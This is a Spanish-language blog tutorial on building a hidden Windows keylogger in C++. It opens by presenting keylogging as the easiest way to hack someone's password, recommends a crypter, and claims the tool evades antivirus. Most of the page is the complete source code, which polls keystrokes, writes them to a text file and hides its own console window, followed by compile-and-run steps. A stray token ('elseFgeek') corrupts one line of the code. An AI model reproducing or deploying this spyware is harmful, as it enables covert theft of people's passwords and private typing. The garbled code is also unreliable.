Cómo crear su propio y potente registrador de teclas en C++

Cómo crear su propio y potente registrador de teclas en C++

registradores de teclas, como la propia palabra sugiere, funcionan grabando o capturando pulsaciones o pulsaciones de teclas. Técnicamente, un keylogger es un herramienta de software o programa utilizado para capturar pulsaciones de teclas que un usuario presiona en tiempo real. El procesamiento posterior depende de la naturaleza del registrador de teclas, ya sea un registrador de teclas físico o remoto. La técnica de captura de pulsaciones de teclas se llama registro de teclas. Es difícil de creer, pero el registro de teclas es el método más fácil para hackear la contraseña de alguien. Todo lo que necesita es un buen registrador de teclas, un buen encriptador y el conocimiento para poner en marcha su programa de registro de teclas. Miles de keyloggers están disponibles en línea de forma gratuita, pero todos ellos son detectables por antivirus o, irónicamente, vienen con un virus para hackear al usuario. Obviamente, debemos tener cuidado al usar registradores de teclas disponibles gratuitamente o versiones pirateadas de registradores de pulsaciones de teclas pagados. Pero, ¿por qué debería ser víctima de otros piratas informáticos cuando diseñar el suyo propio es muy fácil? La mayoría de los piratas informáticos novatos o "script kiddies" piensan que codificar un buen keylogger es una tarea difícil y tediosa, pero créanme, después de leer esto Tutorialse convertirá en una tarea rutinaria para ti codificar un keylogger. Hoy te enseñare el interior y el exterior lógica del registrador de teclas.

Empecemos aprendiendo cómo codificar keyloggers en C paso a paso. Como todos aprendieron anteriormente, los keyloggers capturan las pulsaciones de teclas. Hay varios métodos para capturar las pulsaciones de teclas, como capturar la entrada y la salida de la API del teclado: estos se denominan Registradores de pulsaciones de teclas basados ​​en API. También puede simplemente capturar las claves una vez que hayan sido decodificadas por su sistema operativo. El teclado de hardware envía instrucciones a los controladores del sistema operativo, que decodifican cada tecla presionada en el teclado en alfabetos útiles.

Nota: Puede usar el compilador Borland C o el compilador Code blocks C para la codificación, generalmente prefiero DEV C, es decir, el compilador Borland C.

Así que comencemos a codificar:

Descargo de responsabilidad: Este tutorial ha sido diseñado solo con fines educativos, Codelivly no promueve prácticas maliciosas y no será responsable de ninguna actividad ilegal. Úselo bajo su propio riesgo.

En este tutorial, aprenderá cómo crear un potente registrador de teclas C++. Si sabes programar, el código será muy fácil de entender, no te preocupes si no sabes nada de programación, aún puedes crear tu propio keylogger C++ usando este tutorial.

Después de una compilación exitosa, el registrador de teclas C++ puede realizar las siguientes funciones:

  • Funcionará en modo oculto.
  • Puede pasar por alto el antivirus.
  • Almacenará cada pulsación de tecla en un archivo de texto.

Aprendamos cómo crear un Keylogger C++:

Para modificar y compilar el código fuente, necesitará un IDE de C++ (entorno de desarrollo integrado), para este tutorial usaré Dev c++ porque es gratis, ligero y fácil de usar, siéntase libre de usar cualquier otro IDE de C++.

Descarga Dev c++ desde aquí.

Instale Dev c++ en su sistema, el proceso de instalación es muy fácil. Inícielo después de la instalación, la interfaz debería verse como la imagen a continuación. Ve a la Archivar opción en la parte superior verás Nuevo desde aquí elige Archivo fuenteo haga clic en el medio del IDE y presione CTRL+n.

registrador de teclas c++

Aquí está el código fuente de C++ Keylogger:

#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;

void StealthMode();
void StartLogging();

int main(){
    StealthMode();
    StartLogging();
    
    return 0;
}

void StartLogging(){
        char c;
    
    for(;;){
        
        for(c=8;c<=222;c++){
            if(GetAsyncKeyState(c)==-32767){
            
            ofstream write("Record.txt", ios::app);
            
            if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
            {
                c+=32;
                write<<c;
                write.close();
                break;
            }
            else if((c>64)&&(c<91))
            {
                
                write<<c;
                write.close();
                break;
            }
            else {
                
                switch (c)
                {
                    case 48:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<")";
                        elseFgeek
                            write<<"0";    
                        
                        
                        }   
                    break;
                    
                    
                    
                    case 49:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"!";
                        else
                            write<<"1";    
                        
                        
                        }   
                    break;
                    
                    case 50:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"@";
                        else
                            write<<"2";    
                        
                        }
                    break;
                    case 51:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"#";
                        else
                            write<<"3";    
                        
                        
                        }   
                    break;  
                    case 52:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"$";
                        else
                            write<<"4";    
                        
                        
                        }   
                    break;  
                    case 53:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"%";
                        else
                            write<<"5";    
                        
                        
                        }   
                    break;
                    case 54:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"^";
                        else
                            write<<"6";    
                        
                        
                        }   
                    break;
                    case 55:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"&";
                        else
                            write<<"7";    
                        
                        
                        }   
                    break;
                    case 56:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"*";
                        else
                            write<<"8";    
                        
                        
                        }   
                    break;
                    case 57:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"(";
                        else
                            write<<"9";    
                        
                        
                        }   
                    break;
                    
                    case VK_SPACE:
                        write<<" ";
                        break;
                    case VK_RETURN:
                        write<<"\n";
                        break;  
                    case VK_TAB:
                        write<<"  ";
                        break;
                   case VK_BACK:
                        write<<"<BACKSPACE>";
                        break;
                    case VK_DELETE:
                        write<<"<Del>";
                        break;  
                    
                    default:
                        write<<c; 
            }
                
                }
           
           }
        }
        }
}
void StealthMode(){
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
    
}

Copie todo el código fuente del keylogger de C++ y péguelo en Dev C++ IDE. Para compilarlo, vaya a Ejecutar opción y elegir Compilar o presione F9 tecla de función, le pedirá una ubicación para guardar su keylogger. Elija su ubicación y guárdela para iniciar el proceso de compilación.

Registrador de teclas C++

Después de una compilación exitosa, verá su registrador de teclas en forma ejecutable en la carpeta que usó para guardar al compilar el código fuente del registrador de teclas C++.

Registrador de teclas C++

Ahora pruebe su keylogger, inicie la aplicación, no obtuvo nada porque está codificado para ejecutarse en modo oculto en segundo plano. Abra un navegador y escriba algo, y vaya a la carpeta del registrador de teclas C++, verá un archivo de texto llamado Registro que contiene la información que escribió.

Registrador de teclas C++
Registrador de teclas C++

Continuará ejecutándose en segundo plano a menos que lo detenga. Para cerrar el registrador de teclas de C++, acceda al administrador de tareas presionando Ctrl+alt+Supr. Selecciona el keylogger y elige Endtask.

Registrador de teclas C++

Espero que hayas disfrutado del artículo. El paso 6 no se divulga porque quiero explicar la diferencia entre el registrador de teclas físico y el registrador de teclas remoto. Es posible que se haya dado cuenta de que se trata de un registrador de teclas físico: solo puede ver los datos en la misma máquina en la que se ejecuta el binario.

Si tienes alguna duda, no dudes en preguntar en los comentarios.

Aprenda: Cree un registrador de teclas avanzado en Python

Si quieres conocer otros artículos parecidos a Cómo crear su propio y potente registrador de teclas en C++ puedes visitar la categoría Tutoriales.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir

Esta página web utiliza cookies para analizar de forma anónima y estadística el uso que haces de la web, mejorar los contenidos y tu experiencia de navegación. Para más información accede a la Política de Cookies . Ver mas